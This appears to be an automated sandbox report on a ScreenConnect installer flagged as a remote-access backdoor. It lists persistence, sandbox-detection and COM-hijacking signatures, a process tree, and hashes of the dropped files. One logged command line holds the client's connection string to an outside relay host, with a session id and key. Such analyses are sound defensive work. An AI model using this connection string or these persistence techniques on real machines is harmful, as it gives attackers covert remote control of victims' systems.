Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/07/2026, 12:19

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 14.6MB
  • Sample260724-pg5r4azdja
  • SHA256 a41ff2966e44166d83514eb5709c26ebc2dab7a9db07f9701e2c1e7d84bcc498
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3184
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4156
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 183F21AB9CA8DF858AE86435A5FA203C C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4736
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBBE.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240717125 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5580
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5936
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 69B11B0C69729E7E060F48595A998734
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1084
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 8B576B5813AAF0B55C101EA3937ED02F E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:6012
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2956
    • C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=an.tomballtxplumbers.com&p=8041&s=1df31d20-b2b6-49c1-a712-8ceccfa16db0&k=BgIAAACkAABSU0ExAAgAAAEAAQBpdUPTvIAoINMCrgyV69taY9nq3gJzB8hQnKM5IzMA5fAYCnpP128yRFNwcpD2AfDBTvQh%2b5jAbOt8QNR46vvx0mHdjyujIbqimEwQZGQ7lfsE21GFOW8dfdfkQ%2bDGq680waz%2bWhma1ndo0UcdGtK1dMaxyBxev84VEAPF4E6MH4MVWu8heBvikOrbiez33RBQwp5lzUKY7jWgXq5q1Gw6Sw92omoWb8VgADEu4eFedxrHZvNjNRB3Aq3CionVFCUNZ%2fKlOFYhMwzGfTfgDQZFJsY1Zf%2f%2bOwK5%2f6f9i9qTpYfnQTICY7axEs57b%2bUg0VQLDBCSvGkolsJnctze6NbY"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:6100
      • C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.WindowsClient.exe" "RunRole" "d2fb9e13-cb1d-4cc6-a8d7-fef7901b257c" "User"
        2⤵
        • Executes dropped EXE
        PID:4756
      • C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.WindowsClient.exe" "RunRole" "0d48e9cc-2cc9-4ad4-b134-f9e00b3b8f60" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5672

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e596db5.rbs

          • Path C:\Config.Msi\e596db5.rbs
          • Size 214KB
          • SHA256 579e1b6dd7ef7146d186a17d885722a7798c0694d8878b806513b72e693ef30e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\Client.Override.en-US.resources
          • Size 1KB
          • SHA256 aa8e85cf519b4a732accb3c01e23d60a608236c68a37c27a6a4975758ccaf1d3
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\Client.Override.resources
          • Size 26KB
          • SHA256 89f363276ff89910a677966b6da034cc19eca51788a101bc0a1c6a6161400d56
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 7a4fd2e1cc26200e44b22a17fc6324734e676fa8d5b48a977b50b82c81084a38
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 4cad8e6604b38b2d1d50a614a24a9c5b6541228eae796e4d460ebbee97617ccc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 7976bc6647fead449fdd424f7ccb5150b5d896b4db23782493a11580a2515244
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 028c2aa8290b51b14f6668f1318ccddac885fb2ebc34c744dda62b28767115c9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 1d682bd780fff57619ddbbebdf96a3f933483cc0a7caa194559e5f04f4093a61
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 446dea870ba05ccb6fb0038aca0d5d5bf5b8423b51f9ff40da74bb9fc603f4c4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\app.config
          • Size 963B
          • SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e3134395e8cd1913)\system.config
          • Size 946B
          • SHA256 5287beef0c81b929d2bfaa1312f4e6e1e0a7c2d786cb36c9d43f569408765d5e
          • MD5 SHA1 SHA512 TLSH

          MSIBBE.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBBE.tmp
          • Size 1.0MB
          • SHA256 263f63468a49d9958d65745a023c7b150f05432a309dcecdcfc47e62186b7e39
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBBE.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBBE.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 abb34dda325ea28f52110212cdf9dc28c7b1375a1b7447ace6054b0684bb486c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBBE.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d634d4d6de70069360b1c897299e06510cef7c1c7531e2464575b300fc6777c8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBBE.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 bea9ff7531447973739e84cb1a3a591ba882838efd03705418f8e6f403ff4b4a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI768F.tmp

          • Path C:\Windows\Installer\MSI768F.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e596db4.msi

          • Path C:\Windows\Installer\e596db4.msi
          • Size 14.6MB
          • SHA256 a41ff2966e44166d83514eb5709c26ebc2dab7a9db07f9701e2c1e7d84bcc498
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 db5963c565b740cefc69080b406661b9a1e36b68ed09caf8ebc523c277805ec0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {9f34fa1b-dd22-4150-ae02-53412d0659d6}_OnDiskSnapshotProp

          • Path \??\Volume{c61f8367-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{9f34fa1b-dd22-4150-ae02-53412d0659d6}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 e547b82e1d47c43c0d6e9a7194568991ee4d5f30912ecd15fc49ac6219570194
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/4756-120-0x0000000000A60000-0x0000000000AF8000-memory.dmp

          memory/4756-130-0x000000001D0C0000-0x000000001D28A000-memory.dmp

          memory/4756-125-0x0000000001250000-0x0000000001268000-memory.dmp

          memory/4756-126-0x00000000014F0000-0x0000000001508000-memory.dmp

          memory/4756-127-0x0000000001530000-0x0000000001571000-memory.dmp

          memory/4756-124-0x000000001C0E0000-0x000000001C268000-memory.dmp

          memory/4756-123-0x000000001BDA0000-0x000000001BF4C000-memory.dmp

          memory/4756-122-0x000000001BB60000-0x000000001BBEE000-memory.dmp

          memory/4756-121-0x0000000001490000-0x00000000014C6000-memory.dmp

          memory/5580-22-0x0000000005CE0000-0x0000000005CEA000-memory.dmp

          memory/5580-26-0x0000000005D80000-0x0000000005E0E000-memory.dmp

          memory/5580-18-0x0000000005CA0000-0x0000000005CCE000-memory.dmp

          memory/5580-30-0x0000000005FC0000-0x000000000616C000-memory.dmp

          memory/5580-31-0x0000000006730000-0x0000000006CEA000-memory.dmp

          memory/5672-129-0x000000001D2C0000-0x000000001D48A000-memory.dmp

          memory/6100-77-0x0000000001A00000-0x0000000001A18000-memory.dmp

          memory/6100-110-0x0000000004630000-0x0000000004705000-memory.dmp

          memory/6100-106-0x0000000004440000-0x00000000044D2000-memory.dmp

          memory/6100-108-0x00000000040A0000-0x00000000040E1000-memory.dmp

          memory/6100-83-0x0000000003F20000-0x0000000003FAE000-memory.dmp

          memory/6100-105-0x0000000004140000-0x0000000004176000-memory.dmp

          memory/6100-101-0x00000000040F0000-0x0000000004140000-memory.dmp

          memory/6100-87-0x00000000041F0000-0x000000000439C000-memory.dmp